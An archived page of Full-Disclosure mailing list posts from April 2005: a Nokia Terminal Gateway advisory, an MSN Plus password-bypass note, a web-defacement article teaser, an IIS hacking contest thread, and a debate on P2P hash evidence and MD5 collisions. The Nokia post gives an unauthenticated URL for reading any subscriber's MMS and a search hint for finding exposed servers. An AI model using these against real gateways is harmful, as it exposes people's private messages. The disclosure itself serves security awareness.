OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
extension:

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[Full-disclosure] Nokia Terminal Gateway default installation vulnerability

From: Miracle Maker (miraclemaker_gsmyahoo.com)
Date: Thu Apr 07 2005 - 05:26:16 CDT


Nokia Terminal Gateway (TGW) is a server application used to deliver
multimedia messages to users with GSM handsets that do not support MMS.
Nokia Terminal Gateway is used by about 90 GSM operators all over the world.
 
When somebody sends you a multimedia message and it is not delivered to
your handset withing 15 minutes or so, the message is forwarded to a
terminal gateway. Than you receive SMS with username and password. You
can read your MMS online using Nokia Terminal Gateway web interface.
Of course you have to type in these username and password. Also you can
create your online album and send multimedia messages from TGW.
 
The most interesting part is that in some TGW installations you do not
need username and password to access MMS.
 
Just type in the following and read the message delivered to subscriber
with phone number <MSISDN>:
//webnonsubscriber/nonsubscribermsisdnlogin.do?msisdn=http://<TGW_SERVER>/<LANG>/webnonsubscriber/nonsubscribermsisdnlogin.do?msisdn=<MSISDN>
 
Alternatively you can go to the following URL and type in the phone number:
//webnonsubscriber/msisdnlogin.jsp">http://<TGW_SERVER>/<LANG>/webnonsubscriber/msisdnlogin.jsp
In most cases <LANG> can be "en" for English.
To find a working <TGW_SERVER> you can search for "webnonsubscriber" in Google :-)
 
Best Regards,
miraclemaker_gsmyahoo.com

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[Full-disclosure] MobileBugtraq Mailing List

From: Franckl - MobileBugtraq (francklmobilebugtraq.Com)
Date: Thu Apr 07 2005 - 06:25:14 CDT


MobileBugtraq is a new discussion mailing list about security of mobile terminals systems including all sorts of platforms. Topics of discussion might be related to hacking, protecting against break-ins, system bugs and exploits, etc.

The postings in this list may be written either in English.

To subscribe to the MobileBugtraq list, one should send an e-mail to: subscribemobilebugtraq.com
(just including in the main message body (no subject is needed): subscription)

After having subscribed, one might send messages to the MobileBugtraq List at the address: postmobilebugtraq.com

See you soon to talk about mobile security and share your knowledge.

Regards,

Franckl - http://www.mobilebugtraq.com - Symbian, 3G, Drm, Bluetooth, Java, Windows Mobile, and a lot of fun.

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of Claimed Infringement

From: Dunceor . (dunceorgmail.com)
Date: Thu Apr 07 2005 - 08:49:01 CDT


Since I guess this organization represent the company that has
developed this software they should have the right to download the
software which doesn't mean they are doing something illegal just
because he is doing an illegal thing.

On Apr 7, 2005 5:48 AM, Thomas Sutpen <sutpengmail.com> wrote:
> On Apr 5, 2005 5:01 AM, Ag. System Administrator <sysadminagent.co.il> wrote:
> > More nice will be if this .iso file is just 451,486k of /dev/random junk.
> > Any proves that this file __IS__ Sybase Powerbuilder 9 Enterprise.iso?
> > MD5? Something?
>
> The question that would begged to be asked is how they verified it.
> If they were to download copyrighted software from somebody sharing
> copyrighted software, does this not also constitute a crime? Is it
> not true that downloading illegally shared software is itself illegal?
> I'm not a lawyer, of course, but it's been my observation that the
> legal system doesn't often smile on those breaking the law to prove
> that others are breaking the law, unless it's in a Hollywood movie, no
> pun intended.
>
> Perhaps copyright makes some sort of concession for this. But it
> makes one wonder...
> _______________________________________________
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>
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[Full-disclosure] MSN Plus Password Change Security Bypass Vulnerability

From: m0fo (editorsec.org.il)
Date: Thu Apr 07 2005 - 11:29:44 CDT


Title: MSN Plus Password Change Security Bypass Vulnerability
Risk: Medium
Date: 07.04.2005
Publisher: m0fo (editor at sec.org.il)
Source: http://sec.org.il/articles.php?a=187
Vendor: <http://www.msgplus.net> http://www.msgplus.net
 
MSN Plus is additional application for the MSN Messenger. Msn Plus is adding
a lot of options to the standart MSN Messenger.
One of the options is to lock your MSN Messenger with password you choose,
this way could be bypass easily because the password can be changed without
providing the old password.
all the msn plus password's protection could be bypass easily because the
vendor build it on the same way.
all the MSN Messngers and MSN Plus are vulnerable.
 
NOTE: successful exploitation requires that a user has logged in recently.

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Re: [Full-disclosure] windows linux final study

From: Adam Jones (ajones1gmail.com)
Date: Thu Apr 07 2005 - 11:23:31 CDT


If your read the full message that you were replying to you would see
that he addressed this issue in his reply. Vested interest and the
parties responsible for funding research have no consequence if:
 
1) The methods employed are fully documented.
2) The results are fully reproducable.
3) The methods are acceptable as an unbiased appraisal of the situation.

Provided those three things are true results are results, regardless
of funding. Demonstrating any one of those three to be false
constitutes EVIDENCE of vested interest. The conclusions of the study
do not.

To answer your (probably rhetorical) question: yes, I would trust the
results of smartcard research by the manufacturer if they can prove
the above three points to my satisfaction.

On Apr 6, 2005 9:06 AM, Michael Simpson <mikie.simpsongmail.com> wrote:
> would it have made any difference to the lancet making the decision to
> publish andrew wakefield's anti_MMR research if they had known that he
> was being paid by lawyers helping to sue the makers of the MMR vaccine
>
> yes, they wouldn't have published and we wouldn't be a mumps epidemic
> in britain.
>
> knowing that authors of a "scientific" report have a vested interest
> in a particular outcome is part of the process used for establishing
> the validity of the research
>
> would you trust your smartcard technology on the basis of a report
> funded totally by the manufacturers of said smart card or would you
> prefer some information that hasn't been potentially biased by greed?
>
> > Come on people grow up, put your prejudices aside and look at the
> > information provided, draw conclusions based on that, and be prepared to
> > change that opinion when the information to hand dictates.
>
> difficult to do without...wait for it...full-disclosure
>
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Re: [Full-disclosure] windows linux final study

Valdis.Kletnieksvt.edu
Date: Thu Apr 07 2005 - 13:18:57 CDT


On Thu, 07 Apr 2005 11:23:31 CDT, Adam Jones said:
> If your read the full message that you were replying to you would see
> that he addressed this issue in his reply. Vested interest and the
> parties responsible for funding research have no consequence if:
>
> 1) The methods employed are fully documented.
> 2) The results are fully reproducable.
> 3) The methods are acceptable as an unbiased appraisal of the situation.

Of course, in the real world, the important question is "How subtle were they
in slanting the question in order to get the answer they wanted?".

> To answer your (probably rhetorical) question: yes, I would trust the
> results of smartcard research by the manufacturer if they can prove
> the above three points to my satisfaction.

The problem is that it's often hard to directly map from "Is the research
valid?" (i.e. fulfilling your 3 points above) to "Is this research actually
applicable?". If the smartcard vendor runs a test that "proves card XYZ is
invulnerable to attacks A, B, and C", that probably means that it's suitable
for use in environments that only have those 3 attacks. If, however, your
environment also needs to survive attack D, and the test was designed to
not assess the strength against D because the vendor knew their card sucked
at stopping attack D, you may be dissapointed....

Remember - *most* of the sponsored research is "valid". However, most also
has been tweaked in the problem definition in order to slant the results - and
the challenge is determining if the tweaked definition is still applicable.

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[Full-disclosure] IIS hacking contest

From: Bryan Loveless (Bryan.LovelessNAU.EDU)
Date: Thu Apr 07 2005 - 15:16:49 CDT


Here's your chance to shut up all those IIS people from saying it is secure.
(Or prove them right)
There is a contest to hack IIS, and the winner gets an XBOX, plus the pride
of saying that they have hacked an "impenetrable IIS environment."

http://www.hackiis6.com/

--Bryan

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of Claimed Infringement

From: Thierry Zoller (Thierrysniff-em.com)
Date: Thu Apr 07 2005 - 15:21:00 CDT


Dear Thomas Sutpen,

>> More nice will be if this .iso file is just 451,486k of /dev/random junk.
>> Any proves that this file __IS__ Sybase Powerbuilder 9 Enterprise.iso?
>> MD5? Something?

The problem is much simpler, if 200 persons are sharing this ISO and if
it is confirmed to be a "pirated" version by downloading from ONE of
these users you can tell that the other 199 are also sharing the same
pirated versions, knowing that most (all) p2p applications use hashes to
identify the files. In other words, if 200 sources are listed all of
them are sharing the exact same file, at least if you trust the p2p
application code. (Which you can't proof does indeed work flawlessy
in this regards, but you get my point).

--
Thierry Zoller

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Re: [Full-disclosure] IIS hacking contest

From: Randall Perry (listsdomain-logic.com)
Date: Thu Apr 07 2005 - 15:28:53 CDT


But that's not quite real world.
Is the server running SQL server? Oracle?
Or is it just serving static pages and is sitting behind a reverse proxy
[on FreeBSD].
There aren't any details there.

Suppose no one cracks the box, that just means someone didn't want to spill
their guts for a retail Xbox.
I can suppose there are groups out there that would rather people assume it
'really is secure' regardless of critical flaws that are publicized and
regardless of the quiet black hats that aren't falling for an x-shaped carrot

Randy.
At 03:16 PM 4/7/2005, you wrote:
>Here's your chance to shut up all those IIS people from saying it is secure.
>(Or prove them right)
>There is a contest to hack IIS, and the winner gets an XBOX, plus the pride
>of saying that they have hacked an "impenetrable IIS environment."
>
>http://www.hackiis6.com/
>
>--Bryan
>
>
>_______________________________________________
>Full-Disclosure - We believe in it.
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http://www.domain-logic.com

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of Claimed Infringement

From: Randall Perry (listsdomain-logic.com)
Date: Thu Apr 07 2005 - 15:41:52 CDT


At 03:21 PM 4/7/2005, you wrote:
>Dear Thomas Sutpen,
> >> More nice will be if this .iso file is just 451,486k of /dev/random junk.
> >> Any proves that this file __IS__ Sybase Powerbuilder 9 Enterprise.iso?
> >> MD5? Something?
>The problem is much simpler, if 200 persons are sharing this ISO and if
>it is confirmed to be a "pirated" version by downloading from ONE of
>these users you can tell that the other 199 are also sharing the same
>pirated versions, knowing that most (all) p2p applications use hashes to
>identify the files. In other words, if 200 sources are listed all of
>them are sharing the exact same file, at least if you trust the p2p
>application code. (Which you can't proof does indeed work flawlessy
>in this regards, but you get my point).
No, it isn't quiet that clean.
The initial post was regarding eDonkey/eMule client.
The files are broken into chunks.
The files are 'verified' by a one-way hash.

By merely having a single chunk with the same hash is enough 'evidence'
that you are in complete possesion of that file.
(whether or not it is a successful full copy on your machine, they will
ONLY know if ALL sources came from ONLY YOU and they were able to rebuild
the entire ISO from all those chunks FROM ONLY YOU).
Otherwise, it is _possible_ to have a chunk with the same fingerprint and
make it appear that you have said chunk of their iso.
(of course a 256 or 512 string would be more accurate and less to chance of
being false positive).
It's like saying that a brown Brinks money bag was stolen from the bank.
You possess such a brinks money bag, but that doesn't mean it is theirs.
(those with cryptography experience can better explain than myself).

I am not very comfortable with this grey area being enough 'concrete'
evidence to condemn criminals.
What kind of computer training course do their attorneys even go through?
(or do they assume these hashes are 'fingerprints')

http://www.domain-logic.com

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of Claimed Infringement

From: Thierry Zoller (Thierrysniff-em.com)
Date: Thu Apr 07 2005 - 16:28:59 CDT


Dear Randall Perry,

RP> The initial post was regarding eDonkey/eMule client.
RP> The files are broken into chunks.
RP> The files are 'verified' by a one-way hash.

RP> By merely having a single chunk with the same hash is enough 'evidence'
RP> that you are in complete possesion of that file.
You forget that emule/edonckey reports what chunks of a specific file a host
is serving (if you download). That might be 100% of the file, that
said you can "verify" the user has that specific file even without downlaoding.
(If you trust hashes, - emule and the edonkey protocol of course).

RP> (whether or not it is a successful full copy on your machine, they will
RP> ONLY know if ALL sources came from ONLY YOU and they were able to rebuild
RP> the entire ISO from all those chunks FROM ONLY YOU).

AFAIK, this is technicaly incorrect but may be correct in front of a
court (where you would have to proof it can't be otherwise).

RP> Otherwise, it is _possible_ to have a chunk with the same fingerprint and
RP> make it appear that you have said chunk of their iso.
That's *AFAIK* not possible, if this would be true the edonckey/emule
protocol would have a big design flaw and poeple couldn't even trade
millions of files every day, some (most?) downloads would be corrutped
as they could have potentialy downloaded a wrong chunk which in fact
is from another file.

RP> (of course a 256 or 512 string would be more accurate and less to chance of
RP> being false positive).
RP> It's like saying that a brown Brinks money bag was stolen from the bank.
RP> You possess such a brinks money bag, but that doesn't mean it is theirs.
RP> (those with cryptography experience can better explain than myself).
I am sorry, I am too long in the security field to still listen to
analogies ;) (No insult intended)

RP> (or do they assume these hashes are 'fingerprints')
Oh... well an one-way hash (Md5,sha etc) technicaly speaking
*IS* a fingerprint because it identifies a UNIQUE file. (collisions
possible but unlikely)

Please correct me if any of my assumptions above were incorrect.

--
Thierry Zoller
http://www.sniff-em.com

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of Claimed Infringement

From: Randall Perry (listsdomain-logic.com)
Date: Thu Apr 07 2005 - 16:48:52 CDT


>That's *AFAIK* not possible, if this would be true the edonckey/emule
>protocol would have a big design flaw and poeple couldn't even trade
>millions of files every day, some (most?) downloads would be corrutped
>as they could have potentialy downloaded a wrong chunk which in fact
>is from another file.

I came across this discussion:
http://forum.emule-project.net/lofiversion/index.php/t25107-150.html
..."Thats the point of file hashes. Emule doesn't work with file names for
anything apart from searches. It uses hashes. So they can say you have a
file with the same name and hash as one on e.g. sharereactor. Now that
makes it pretty clear that you are sharing the file (this is not conclusive
but makes it very likley,see my above post). In a criminal case you might
just get off (not beyond ALL resnable doubt) but in a civil case you are
screwed. "........

The opportunity for collisions causes 'reasonable' doubt. With all the
100's of terabytes being shared on P2P, I would imagine it quite possible
for a couple of hashes to match. (again, not concrete, but _possible_)
The problem is that such evidence admitted to court sets precedence for
plausible matches (as opposed to innocent until PROVEN beyond reasonable
doubt) to be presented as concrete fact. And I am not a P2P guy (except
BitTorrents of Fedora and Debian), but I am concerned about this mindset
for prosecution bleeding into digital signatures, encrypted emails (that
they cannot encrypt but see a string that resembles the characters 'I did
it' ).

Yeah, sorry about the analogies :)

http://www.domain-logic.com

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of Claimed Infringement

From: Mike Owen (kyphrosgmail.com)
Date: Thu Apr 07 2005 - 16:52:55 CDT


On Apr 7, 2005 2:28 PM, Thierry Zoller <Thierrysniff-em.com> wrote:
<snippage>
> RP> (or do they assume these hashes are 'fingerprints')
> Oh... well an one-way hash (Md5,sha etc) technicaly speaking
> *IS* a fingerprint because it identifies a UNIQUE file. (collisions
> possible but unlikely)
>
> Please correct me if any of my assumptions above were incorrect.
>

As reported over the last few months, MD5 is very broken. MD5
collisions are very easy to generate, with some reports of as little
as a few hours needed on reasonable hardware to generate a collision.

Here is a page with links to most of the various papers out, including
the Wang paper that started this all.
http://cryptography.hyperlink.cz/MD5_collisions.html

> --
> Thierry Zoller
> http://www.sniff-em.com
>

Mike
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RE: [Full-disclosure] IIS hacking contest

From: Marc Maiffret (mmaiffreteeye.com)
Date: Thu Apr 07 2005 - 17:35:25 CDT


Has no one learned from these contests yet that they don't work, not
even for reasons of being a false way to test security, but because the
servers are never able to stay online for more than an hour because of
denial of service attacks.

The "funny" part is if the server gets DDoS'd then so will Windows IT
Pro magazine whom is hosting the hack server (now at least) on the same
subnet as their main website and with the same routes of course... Maybe
they can product test some Arbor networks gear while they are at it :-)
two for one.

Then again we did break our last xbox, so hmmmm

Signed,
Marc Maiffret
Chief Hacking Officer
eEye Digital Security
T.949.349.9062
F.949.349.9329
http://eEye.com/Blink - End-Point Vulnerability Prevention
http://eEye.com/Retina - Network Security Scanner
http://eEye.com/Iris - Network Traffic Analyzer
http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities

Important Notice: This email is confidential, may be legally privileged,
and is for the intended recipient only. Access, disclosure, copying,
distribution, or reliance on any of it by anyone else is prohibited and
may be a criminal offense. Please delete if obtained in error and email
confirmation to the sender.

| -----Original Message-----
| From: full-disclosure-bounceslists.grok.org.uk
| [mailto:full-disclosure-bounceslists.grok.org.uk] On Behalf
| Of Bryan Loveless
| Sent: Thursday, April 07, 2005 1:17 PM
| To: full-disclosurelists.grok.org.uk
| Subject: [Full-disclosure] IIS hacking contest
|
| Here's your chance to shut up all those IIS people from
| saying it is secure.
| (Or prove them right)
| There is a contest to hack IIS, and the winner gets an XBOX,
| plus the pride of saying that they have hacked an
| "impenetrable IIS environment."
|
| http://www.hackiis6.com/
|
| --Bryan
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[Full-disclosure] Article: Web Server Defacements

From: Sumy (sanandresgmail.com)
Date: Thu Apr 07 2005 - 16:44:33 CDT


This is a full article about webserver defacements, Know your enemies
and their attack techniques to secure your webserver.All this
information is for educational Purpose ONLY, we are not responsable
for Misuse of any Document here.

Web Server Defacements

he urban art of grafitti has traversed to the online world in the form
of web server defacements. Just how do these online vandals do it
though? Read on to learn how it is done, and therefore gain a deeper
understanding which will help you defend against it.

There was a large commotion last year over the web server defacement
contest, which was to be held by various online miscreants. The act of
defacing a company's web site is one that has been going on for some
time now. In reality this has been practiced largely by the bottom
feeders of the internet community. To actually go out, and place your
own index.html file into a compromised web server does not take a
great deal of talent I assure you. Where the talent lies is with the
coder who discovered a web server exploit, and coded a way of
leveraging it in the first place. Once this exploit developer has
publicly released the code is when the script kiddies step in. What
the script kiddies lack in talent they make up for in numbers.

These types of attacks are relatively commonplace today. Personally
speaking I work in the network security industry, and have heard many
of my peers write off these attacks as "script kiddie" stuff. While I
would agree with them on that statement the problem is that these very
same peers of mine don't know how to do a web page defacement
themselves.
To defend you must learn to attack...

Full Article: http://www.exploitx.com/forum/azbb.php?1112907118
More articles & Tutorials? :
http://www.exploitx.com/forum/azbb.php?Tutorials_and_Articles
Security Portal: http://www.exploitx.com
Message Board: http://www.exploitx.com/forum

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of Claimed Infringement

From: Thierry Zoller (Thierrysniff-em.com)
Date: Thu Apr 07 2005 - 18:01:30 CDT


Dear Randall Perry,

RP> The opportunity for collisions causes 'reasonable' doubt. With all the
RP> 100's of terabytes being shared on P2P, I would imagine it quite possible
RP> for a couple of hashes to match. (again, not concrete, but _possible_)
RP> The problem is that such evidence admitted to court sets precedence for
RP> plausible matches (as opposed to innocent until PROVEN beyond reasonable
RP> doubt) to be presented as concrete fact. And I am not a P2P guy (except
RP> BitTorrents of Fedora and Debian), but I am concerned about this mindset
RP> for prosecution bleeding into digital signatures, encrypted emails (that
RP> they cannot encrypt but see a string that resembles the characters 'I did
RP> it' ).

You forget that the hash is not the only unique thing that specific file
has in common with the pirated file/material.

Calculate the following probability:

- The file/chunck has the same MD5 (or whatever HASH)
  as the pirated material in question.
- The file has the EXACT same filename (if there would be a collission
how is the probability in mathametic terms that the file the
collission takes place has the exact same filename?)
- The file has the EXACT same size (The file has the EXACT same date
etc.pp)

I am sorry, but considering all these factors don't we have to conlude the
file is indeed THE file ? ;)

<Wild Speculation> Do the maths you probably get to a possibility which is equally likely
then a parental test based on DNA, which is accepted in some courts.</Wild Speculation>

--
Thierry Zoller

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RE: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

From: Poof (pooffansubber.com)
Date: Thu Apr 07 2005 - 18:11:26 CDT


Ahh, but what if said user is falsifying MD5sums with same size files in
order to help hinder piracy of said product?

In order to say that -I- am sharing Fedora.iso(Just an example.) you'd have
to download it and run it yourself. You can't just say that the MD5sum,
size, and name all match so it has to be the same product.

That's why if you wanted, you could sell bags of flour as cocaine and not be
charged with drug dealing. Fine, it looks the same and weighs the same,
however it isn't the product that's illegal. And to prove that it's illegal,
they need to test it.

You know what... I should just shut up. I always write sucky posts to FD.

~

> You forget that the hash is not the only unique thing that specific file
> has in common with the pirated file/material.
>
> Calculate the following probability:
>
> - The file/chunck has the same MD5 (or whatever HASH)
> as the pirated material in question.
> - The file has the EXACT same filename (if there would be a collission
> how is the probability in mathametic terms that the file the
> collission takes place has the exact same filename?)
> - The file has the EXACT same size (The file has the EXACT same date
> etc.pp)
>
> I am sorry, but considering all these factors don't we have to conlude the
> file is indeed THE file ? ;)
>
> <Wild Speculation> Do the maths you probably get to a possibility which is
> equally likely
> then a parental test based on DNA, which is accepted in some courts.</Wild
> Speculation>

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

From: Jason Coombs (jasoncscience.org)
Date: Thu Apr 07 2005 - 18:14:35 CDT


Come on, people, get a clue.

The copyright owner has authorized the forensic investigators to download the infringing material. If it was there, according to a forensic investigator, then you have to prove it was not.

Please stop viewing the world as a level playing field populated by absolutes. By design, and by intent, the world is not a level playing field - if you are a consumer, a renter, and a worker then you are a slave to producers, owners, and employers.

Live with it, or don't, but to live while grossly misunderstanding it is truly absurd.

Regards,

Jason Coombs
jasoncscience.org
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Re: [Full-disclosure] IIS hacking contest

From: H D Moore (fdlistdigitaloffense.net)
Date: Thu Apr 07 2005 - 18:18:44 CDT


Marc,

I will buy you *two* Xbox's for a nice IIS 6.0 remote :-)

Seriously, the "market value" of a remote exploit for IIS 6.0 is
 somewhere between two and twenty thousand dollars, depending on how
 shady you want to get. These "find some 0day and give it to us"
 challenges are a waste of a time in terms of product security, its just
 blatent exploitation (the bad kind).

-HD

On Thursday 07 April 2005 17:35, Marc Maiffret wrote:
> The "funny" part is if the server gets DDoS'd then so will Windows IT
> Pro magazine whom is hosting the hack server (now at least) on the same
> subnet as their main website and with the same routes of course...
> Maybe they can product test some Arbor networks gear while they are at
> it :-) two for one.
>
> Then again we did break our last xbox, so hmmmm
>
> Signed,
> Marc Maiffret
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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

From: Thierry Zoller (Thierrysniff-em.com)
Date: Thu Apr 07 2005 - 18:25:42 CDT


Dear Jason Coombs,

JC> Come on, people, get a clue.
JC> The copyright owner has authorized the forensic investigators
JC> to download the infringing material.

JC> If it was there, according to
JC> a forensic investigator, then you have to prove it was not.
In what jurisidction? The world ? FD is certainly not US based. So
please with all due respect, the one who needs to get a clue is you.

At least in that part of the thread I posted to, we were discussing
technical issues, have nothing to say? Don't.

[CUT philosophical BLA BLA]

--
Regards,
Thierry Zoller

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

From: Anders Breindahl (skrewzskrewz.dk)
Date: Thu Apr 07 2005 - 18:33:37 CDT


Well, a friend of mine also got a mail like this once. This letter consisted
of approximately the same that yours did -- the difference being, that he had
never seen the file, nor heard of it.

I would tend to say that this -- if you believe me, again believing in my
trust to my friend -- makes your idea of their investigation methods
impossible?

I actually received your post to FD as a warning of an upcoming new wave of
spam... Or what ever annoying Internet-abuse is called in general terms.

Regards, Anders Breindahl.
On Friday 08 April 2005 01:10, Jason Coombs wrote:
> Come on, people, get a clue.
>
> The copyright owner has authorized the forensic investigators to download
> the infringing material. If it was there, according to a forensic
> investigator, then you have to prove it was not.
>
> Please stop viewing the world as a level playing field populated by
> absolutes. By design, and by intent, the world is not a level playing field
> - if you are a consumer, a renter, and a worker then you are a slave to
> producers, owners, and employers.
>
> Live with it, or don't, but to live while grossly misunderstanding it is
> truly absurd.
>
> Regards,
>
> Jason Coombs
> jasoncscience.org
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RE: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

From: Ron DuFresne (dufresnewinternet.com)
Date: Thu Apr 07 2005 - 18:40:27 CDT


On Thu, 7 Apr 2005, Poof wrote:

        [SNIP]

> That's why if you wanted, you could sell bags of flour as cocaine and not be
> charged with drug dealing. Fine, it looks the same and weighs the same,
> however it isn't the product that's illegal. And to prove that it's illegal,
> they need to test it.
>

Actually, at least in the US, there is a law <dang I forget what it's
called> that would make this illegal and subject one to prison time...

Thanks,

Ron DuFresne
--
"Sometimes you get the blues because your baby leaves you. Sometimes you get'em
'cause she comes back." --B.B. King
        ***testing, only testing, and damn good at it too!***

OK, so you're a Ph.D. Just don't touch anything.

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

From: Jason Coombs (jasoncscience.org)
Date: Thu Apr 07 2005 - 18:55:56 CDT


'Security' is ENTIRELY philosophical.

Go use a dictionary. You'll learn something.

Jason Coombs
jasoncscience.org

-----Original Message-----
From: Thierry Zoller <Thierrysniff-em.com>
Date: Fri, 8 Apr 2005 01:25:42
To:"Jason Coombs" <jasoncscience.org>
Cc:full-disclosurelists.grok.org.uk
Subject: Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

Dear Jason Coombs,

JC> Come on, people, get a clue.
JC> The copyright owner has authorized the forensic investigators
JC> to download the infringing material.

JC> If it was there, according to
JC> a forensic investigator, then you have to prove it was not.
In what jurisidction? The world ? FD is certainly not US based. So
please with all due respect, the one who needs to get a clue is you.

At least in that part of the thread I posted to, we were discussing
technical issues, have nothing to say? Don't.

[CUT philosophical BLA BLA]

--
Regards,
Thierry Zoller

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

From: Jason (securitybrvenik.com)
Date: Thu Apr 07 2005 - 20:26:14 CDT


IANAL but it seems this thought process is broken.

Jason Coombs wrote:
> Come on, people, get a clue.
>
> The copyright owner has authorized the forensic investigators to
> download the infringing material. If it was there, according to a
> forensic investigator, then you have to prove it was not.

This position does not hold water, there is no way for them to not break
the same laws they would be attempting to enforce by performing the
investigation from a remote location and without a valid search warrant.
You do not have to prove that you did not have the content, you only
have to prove that you have content that appears very similar to the
remote reviewer.

If you were to place a copyrighted work of your own there then would
they be forced to download it and break the law in order to prove that
it was not the other copyright owners property? If they show in the logs
as having attempted a download does this make them guilty?

It is as simple as creating a server that will return filenames and
hashes found on the network but actually provide /dev/random for the
download or your copyrighted content with an engineered hash collision.

It only takes one case to prevent the civil suit from being filed. To
file the suit would be admitting to having broken the law. You cannot
bring suit when the basis of the suit is itself illegal activity.
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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

From: AJ C (spook3y3sgmail.com)
Date: Thu Apr 07 2005 - 21:48:04 CDT


Civil vs Criminal cases dude, you're imposing some aspects of criminal
cases upon civil proceedings and that's not how they work. In a
criminal trial it's a dramatized version of reasonable doubt, civil
proceedings must show 51%+ responsibility on the part of the defendant
(much, much easier and why the powers that be choose this route). Not
to mention it's their content (no harm, no foul on downloading
something they already own) and MPAA/RIAA/blah have set precedence for
proactively tracking (either themselves or appointed parties)
file-sharing events (method of access is not unlawful and cannot be
brought into contention...is BitTorrent inherently illegal when used
for legit purposes? -- nope).

If bb knocks on your door then you argue evidentiary process otherwise
in a civil proceeding you bear more of a burden to show you *didn't*
do what they're claiming (right or wrong they do have the legal upper
hand with their records versus essentially a verbal denial at best).

'Probably just easier to not download the crap and stay off the radar, $0.02.

On Apr 7, 2005 7:26 PM, Jason <securitybrvenik.com> wrote:
> IANAL but it seems this thought process is broken.
>
> Jason Coombs wrote:
> > Come on, people, get a clue.
> >
> > The copyright owner has authorized the forensic investigators to
> > download the infringing material. If it was there, according to a
> > forensic investigator, then you have to prove it was not.
>
> This position does not hold water, there is no way for them to not break
> the same laws they would be attempting to enforce by performing the
> investigation from a remote location and without a valid search warrant.
> You do not have to prove that you did not have the content, you only
> have to prove that you have content that appears very similar to the
> remote reviewer.
>
> If you were to place a copyrighted work of your own there then would
> they be forced to download it and break the law in order to prove that
> it was not the other copyright owners property? If they show in the logs
> as having attempted a download does this make them guilty?
>
> It is as simple as creating a server that will return filenames and
> hashes found on the network but actually provide /dev/random for the
> download or your copyrighted content with an engineered hash collision.
>
> It only takes one case to prevent the civil suit from being filed. To
> file the suit would be admitting to having broken the law. You cannot
> bring suit when the basis of the suit is itself illegal activity.
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

--
AJC
spook3y3sgmail.com
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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

From: Jason (securitybrvenik.com)
Date: Thu Apr 07 2005 - 22:15:38 CDT


I think you are missing my point.

AJ C wrote:
> Civil vs Criminal cases dude, you're imposing some aspects of criminal
> cases upon civil proceedings and that's not how they work. In a
> criminal trial it's a dramatized version of reasonable doubt, civil
> proceedings must show 51%+ responsibility on the part of the defendant
> (much, much easier and why the powers that be choose this route). Not
> to mention it's their content (no harm, no foul on downloading
> something they already own)

My point is that all you have to do is provide content they do not own
but do download or attempt to download for this test to fail. Simply the
existence of content with an advertised hash and name that is the same
as other content does not prove they own the content or that it is even
there. The act of downloading the content they think they own but in
fact do not is a violation of the same law they are attempting to get
you with.

There is no combination of the civil and criminal here. I am saying that
the accuser having committed a crime prevents them from bringing civil
suit based on the laws they themselves have violated. If they do bring
suit they are ultimately going to fail while providing all of the
information you need to be successful in a civil case and likely a
criminal case.

> and MPAA/RIAA/blah have set precedence for
> proactively tracking (either themselves or appointed parties)
> file-sharing events (method of access is not unlawful and cannot be
> brought into contention...is BitTorrent inherently illegal when used
> for legit purposes? -- nope).

Correct, you providing your copyrighted content to authorized users is a
fully valid use of the technology. The RIAA downloading that content to
ensure it is not their copyrighted content is a violation of the law.
The case is closed.

>
> If bb knocks on your door then you argue evidentiary process otherwise
> in a civil proceeding you bear more of a burden to show you *didn't*
> do what they're claiming (right or wrong they do have the legal upper
> hand with their records versus essentially a verbal denial at best).

I have the proof in the situation I presented. I have the actual logs
showing that they did in fact download content that was not theirs and
that the information they are presenting to justify the case is in fact
a false representation.

>
> 'Probably just easier to not download the crap and stay off the radar, $0.02.

I don't download the crap, not because it is illegal but because I
believe people should be paid for the work they do. If I do not believe
the work is not worth the price I don't buy it.

I would not be opposed to creating a service that simply advertised
filenames and hashes to the network but did not provide the actual
content just to prove that the approach is both flawed and ultimately
just as illegal.
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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of Claimed Infringement

Valdis.Kletnieksvt.edu
Date: Thu Apr 07 2005 - 23:42:52 CDT


On Thu, 07 Apr 2005 14:52:55 PDT, Mike Owen said:

> As reported over the last few months, MD5 is very broken. MD5
> collisions are very easy to generate, with some reports of as little
> as a few hours needed on reasonable hardware to generate a collision.

There's now a known attack for generating 2 strings that happen to hash
to the same MD5 hash value fairly easily.

The more general problem of generating a second string that hashes to
an already known/fixed MD5 hash is still basically infeasible (unless you're
a very well funded spook agency *and* know something the rest of us don't)...

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001

iD8DBQFCVgvLcC3lWbTT17ARAg/PAJ458cAbOxgPE4WA97TZlFe76zUqdACgglWw
AG1myeW4quQDdtbQAQjhE64=
=/d+U
-----END PGP SIGNATURE-----

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[Full-disclosure] Suntzu tutorial on format strings

announcementspulltheplug.org
Date: Fri Apr 08 2005 - 00:44:07 CDT


Just reminding people and correcting ourselves

this weekend there is a format strings tutorial by nemo
(nemofelinemenace.org) scheduled at 3:00PM AEST Saturday April 9th

which is 05:00 GMT Saturday April 9th
(GMT will be the norm in the future)

We've gotten a few emails and needed to correct/remind.

http://www.pulltheplug.org/about/suntzu/ for details.

- people at pulltheplug dot org

